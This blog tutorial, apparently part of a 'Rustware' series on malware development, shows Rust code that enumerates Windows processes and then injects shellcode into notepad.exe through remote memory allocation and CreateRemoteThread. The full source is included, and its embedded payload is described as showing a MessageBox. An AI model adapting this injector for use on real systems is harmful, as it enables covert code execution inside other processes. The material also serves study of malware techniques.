Rustware Part 2: Process Enumeration Development (Windows)
Posted on November 6, 2023 • 9 min read • 1,860 wordsIn the previous blog post we have seen how to develop a Shellcode Process Injection in Rust; the described Process Injection flow relies on several WinAPIs: OpenProcess used to open a handle to the target process, then VirtualAllocEx was used to allocate a new readable and writable region of memory into the target process, WriteProcessMemory wrote the shellcode into the new allocated memory, then VirtualProtectEx was used to change the new allocated memory protection to readable and executable in order to allow the CreateRemoteThread to execute the shellcode contained into the new allocated memory in the target process.
Generally, a malware targets one or more processes, it iterates over the existing system processes in order to find the target process, get its PID and inject the payload in it.
This blog post describes how to iterate over processes and find a specified process PID in Rust; to do that, we use the CreateToolhelp32Snapshot to create a snapshot of all the running processes in the system, then using Process32First and Process32Next we can iterate all the snapshot processes to find the target process and get its PID, after that we use the inject function to perform the shellcode process injection as saw in the previous blog post.
The process enumeration we are going to develop is very simple, it uses the following WinAPIs:
The running process information from the snapshot is stored in the PROCESSENTRY32 struct.
pub struct PROCESSENTRY32 {
pub dwSize: u32,
pub cntUsage: u32,
pub th32ProcessID: u32,
pub th32DefaultHeapID: usize,
pub th32ModuleID: u32,
pub cntThreads: u32,
pub th32ParentProcessID: u32,
pub pcPriClassBase: i32,
pub dwFlags: u32,
pub szExeFile: [u8; 260],
}
We are interested in the process name contained in the szExeFile field and in the process PID containted in the th32ProcessID field.
Everything we need to develop a Rust program that leverages on WinAPI, is well described in the Microsoft “Developing with Rust on Windows”. In our case, we used the following software, plugins and crate:
First of all, it is necessary to add the Windows Crate and the features required by each WinAPI to the Cargo.toml file; we can see the features in the Windows Crate documentation.
Below, a list of the WinAPIs we are going to use and the features they require:
After adding the Windows Crate and all the WinAPIs features, the Cargo.toml file will look like this.
Each feature must also be imported in the code; we can achieve this with the use declaration as shown in the image below.
use std::{ffi::c_void, mem::size_of, mem::transmute};
use windows::{
Win32::Foundation::CloseHandle, Win32::System::Diagnostics::Debug::*,
Win32::System::Diagnostics::ToolHelp::*, Win32::System::Memory::*, Win32::System::Threading::*,
};
The find_pid function takes the target process name as parameter and returns its PID.
fn find_pid(target_process_name:&str) -> u32
We have to declare: a variable pe32 as a PROCESSENTRY32 struct, initialize it with the default constructor, a string cur_process_name for the process name and a Result variable result_process32 for the Process32First and Process32Next return value; then we must set the dwSize by getting the size of the PROCESSENTRY32 struct.
fn find_pid(target_process_name:&str) -> u32{
let mut pe32: PROCESSENTRY32 = PROCESSENTRY32{..Default::default()};
let mut cur_process_name;
let mut result_process32;
pe32.dwSize = size_of::<PROCESSENTRY32>() as u32;
}
As seen in the previous blog post, the WinAPIs we are going to use are defined as unsafe function, so we need to add an unsafe block to use them.
The CreateToolhelp32Snapshot in the code below returns an error, or a handle to a snapshot; TH32CS_SNAPPROCESS means that all the running system processes must be included in the snapshot.
unsafe {
let result_createtoolhelp32snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
match result_createtoolhelp32snapshot{
Ok(handle_procsnap) => {
println!("CreateToolhelp32Snapshot succeeds");
}
Err(error) => {
println!("CreateToolhelp32Snapshot Error: {}",error);
return 0;
}
}
}
After that we can iterate all the processes in the snapshot by using Process32First and Process32Next; these two WinAPIs save the process details in the PROCESSENTRY32 struct contained in the pe32 variable. In each iteration we get the process name from the szExeFile field, convert it to utf8 string, and remove all the 0x0 bytes; then we compare the target process name with the current process name, if they match, we return it’s PID from the th32ProcessID field, otherwise we clear the szExeFile field and repeat the loop again. The function returns 0 if the target process is not found or if an error is generated.
result_process32 = Process32First(handle_procsnap, &mut pe32);
loop{
match result_process32{
Ok(_) => {
cur_process_name = std::str::from_utf8(&pe32.szExeFile).unwrap().trim_matches(char::from(0));
if cur_process_name.to_lowercase() == target_process_name.to_lowercase() {
println!("Find {} PID: {}",target_process_name,pe32.th32ProcessID);
let _= CloseHandle(handle_procsnap);
return pe32.th32ProcessID;
}
pe32.szExeFile = [0;260];
result_process32 = Process32Next(handle_procsnap, &mut pe32);
}
Err(error) => {
println!("Process32 Error: {}",error);
break;
}
}
}
In order to use the find_pid function, we can change the main function from the previous blog post as shown below.
fn main() {
let payload : [u8; 272]= [
0xd9, ... ,0x08
];
let payload_len = payload.len();
let payload_ptr: *const c_void = payload.as_ptr() as *const c_void;
let target_process = "notepad.exe";
let pid = find_pid(target_process);
if pid != 0 {
inject(pid,payload_ptr,payload_len);
}
else{
println!("{} not found",target_process);
}
}
Using the target flag, we can specifying the i686 architecture and compile the program into a 32bit binary.
Running it, we successfully finds the notepad.exe PID and injects our MessageBox into it.
Using Process Hacker and x32dbg we can debug our binary to understand how it works under the hood. We set the breakpoints on the WinAPIs that our binary is going to use.
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
Running the debugger, we can see that the CreateToolhelp32Snapshot is correctly getting the two parameters:
We can see the snapshot handle in our binary handles list.
Process32First(handle_procsnap, &mut pe32);
We can see the two parameters:
The szExeFile field is at offset 0x24, so at the address 0x50F6D8(0x50F6B4 + 0x24) we can see the process name.
Process32Next(handle_procsnap, &mut pe32);
We can see the two parameters:
By continuing the execution, the WinAPIs seen in the previous blog post are executed and our payload is injected into Notepad.exe.
As already said, Rust is a very powerful language; in the last years it found its way into the malware development, especially for ransomware because of its speed. The interaction with WinAPIs is not very easy because of the datatype mismatch.
At each iteration, we must manually clean the szExeFile field in the PROCESSENTRY32 struct to clear all the junk chars from the previous process name.
In the next blog post I would like to refactoring the code in order to be more “Rusty”.
Any feedback will be appreciated.
use std::{ffi::c_void, mem::size_of, mem::transmute};
use windows::{
Win32::Foundation::CloseHandle, Win32::System::Diagnostics::Debug::*,
Win32::System::Diagnostics::ToolHelp::*, Win32::System::Memory::*, Win32::System::Threading::*,
};
fn find_pid(target_process_name: &str) -> u32 {
let mut pe32: PROCESSENTRY32 = PROCESSENTRY32 {
..Default::default()
};
let mut cur_process_name;
let mut result_process32;
pe32.dwSize = size_of::<PROCESSENTRY32>() as u32;
unsafe {
let result_createtoolhelp32snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
match result_createtoolhelp32snapshot {
Ok(handle_procsnap) => {
result_process32 = Process32First(handle_procsnap, &mut pe32);
loop {
match result_process32 {
Ok(_) => {
cur_process_name = std::str::from_utf8(&pe32.szExeFile)
.unwrap()
.trim_matches(char::from(0));
if cur_process_name.to_lowercase() == target_process_name.to_lowercase()
{
println!(
"Find {} PID: {}",
target_process_name, pe32.th32ProcessID
);
let _ = CloseHandle(handle_procsnap);
return pe32.th32ProcessID;
}
pe32.szExeFile = [0; 260];
result_process32 = Process32Next(handle_procsnap, &mut pe32);
}
Err(error) => {
println!("Process32 Error: {}", error);
break;
}
}
}
let _ = CloseHandle(handle_procsnap);
}
Err(error) => {
println!("CreateToolhelp32Snapshot Error: {}", error);
return 0;
}
}
}
return 0;
}
fn inject(pid: u32, payload_ptr: *const c_void, payload_len: usize) {
unsafe {
let result_openprocess = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
let mut old_protect: PAGE_PROTECTION_FLAGS = PAGE_PROTECTION_FLAGS(0);
match result_openprocess {
Ok(handle_process) => {
let remotememory_ptr: *mut c_void = VirtualAllocEx(
handle_process,
None,
payload_len,
MEM_COMMIT,
PAGE_READWRITE,
);
if !remotememory_ptr.is_null() {
println!("Allocated Memory Address: {:p}", remotememory_ptr);
let result_writeprocessmemory = WriteProcessMemory(
handle_process,
remotememory_ptr,
payload_ptr,
payload_len,
None,
);
match result_writeprocessmemory {
Ok(()) => {
let result_virtualprotectex = VirtualProtectEx(
handle_process,
remotememory_ptr,
payload_len,
PAGE_EXECUTE_READ,
&mut old_protect,
);
match result_virtualprotectex {
Ok(()) => {
let result_createremotethread = CreateRemoteThread(
handle_process,
None,
0,
transmute(remotememory_ptr),
None,
0,
None,
);
match result_createremotethread {
Ok(handle_tread) => {
println!("Thread Created");
let _ = CloseHandle(handle_tread);
}
Err(error) => {
println!("CreateRemoteThread Error: {}", error)
}
}
}
Err(error) => {
println!("VirtualProtectEx Error: {}", error)
}
}
}
Err(error) => {
println!("WriteProcessMemory Error: {}", error)
}
}
} else {
println!("VirtualAllocEx Error")
}
let _ = CloseHandle(handle_process);
}
Err(error) => {
println!("OpenProcess Error: {}", error)
}
}
}
}
fn main() {
let payload: [u8; 272] = [
0xd9, 0xeb, 0x9b, 0xd9, 0x74, 0x24, 0xf4, 0x31, 0xd2, 0xb2, 0x77, 0x31, 0xc9, 0x64, 0x8b,
0x71, 0x30, 0x8b, 0x76, 0x0c, 0x8b, 0x76, 0x1c, 0x8b, 0x46, 0x08, 0x8b, 0x7e, 0x20, 0x8b,
0x36, 0x38, 0x4f, 0x18, 0x75, 0xf3, 0x59, 0x01, 0xd1, 0xff, 0xe1, 0x60, 0x8b, 0x6c, 0x24,
0x24, 0x8b, 0x45, 0x3c, 0x8b, 0x54, 0x28, 0x78, 0x01, 0xea, 0x8b, 0x4a, 0x18, 0x8b, 0x5a,
0x20, 0x01, 0xeb, 0xe3, 0x34, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xee, 0x31, 0xff, 0x31, 0xc0,
0xfc, 0xac, 0x84, 0xc0, 0x74, 0x07, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xeb, 0xf4, 0x3b, 0x7c,
0x24, 0x28, 0x75, 0xe1, 0x8b, 0x5a, 0x24, 0x01, 0xeb, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x5a,
0x1c, 0x01, 0xeb, 0x8b, 0x04, 0x8b, 0x01, 0xe8, 0x89, 0x44, 0x24, 0x1c, 0x61, 0xc3, 0xb2,
0x08, 0x29, 0xd4, 0x89, 0xe5, 0x89, 0xc2, 0x68, 0x8e, 0x4e, 0x0e, 0xec, 0x52, 0xe8, 0x9f,
0xff, 0xff, 0xff, 0x89, 0x45, 0x04, 0xbb, 0x7e, 0xd8, 0xe2, 0x73, 0x87, 0x1c, 0x24, 0x52,
0xe8, 0x8e, 0xff, 0xff, 0xff, 0x89, 0x45, 0x08, 0x68, 0x6c, 0x6c, 0x20, 0x41, 0x68, 0x33,
0x32, 0x2e, 0x64, 0x68, 0x75, 0x73, 0x65, 0x72, 0x30, 0xdb, 0x88, 0x5c, 0x24, 0x0a, 0x89,
0xe6, 0x56, 0xff, 0x55, 0x04, 0x89, 0xc2, 0x50, 0xbb, 0xa8, 0xa2, 0x4d, 0xbc, 0x87, 0x1c,
0x24, 0x52, 0xe8, 0x5f, 0xff, 0xff, 0xff, 0x68, 0x58, 0x20, 0x20, 0x20, 0x68, 0x77, 0x61,
0x72, 0x65, 0x68, 0x52, 0x75, 0x73, 0x74, 0x31, 0xdb, 0x88, 0x5c, 0x24, 0x08, 0x89, 0xe3,
0x68, 0x6e, 0x58, 0x20, 0x20, 0x68, 0x63, 0x74, 0x69, 0x6f, 0x68, 0x49, 0x6e, 0x6a, 0x65,
0x68, 0x65, 0x73, 0x73, 0x20, 0x68, 0x50, 0x72, 0x6f, 0x63, 0x31, 0xc9, 0x88, 0x4c, 0x24,
0x11, 0x89, 0xe1, 0x31, 0xd2, 0x52, 0x53, 0x51, 0x52, 0xff, 0xd0, 0x31, 0xc0, 0x50, 0xff,
0x55, 0x08,
];
let payload_len = payload.len();
let payload_ptr: *const c_void = payload.as_ptr() as *const c_void;
let target_process = "notepad.exe";
let pid = find_pid(target_process);
if pid != 0 {
inject(pid, payload_ptr, payload_len);
} else {
println!("{} not found", target_process);
}
}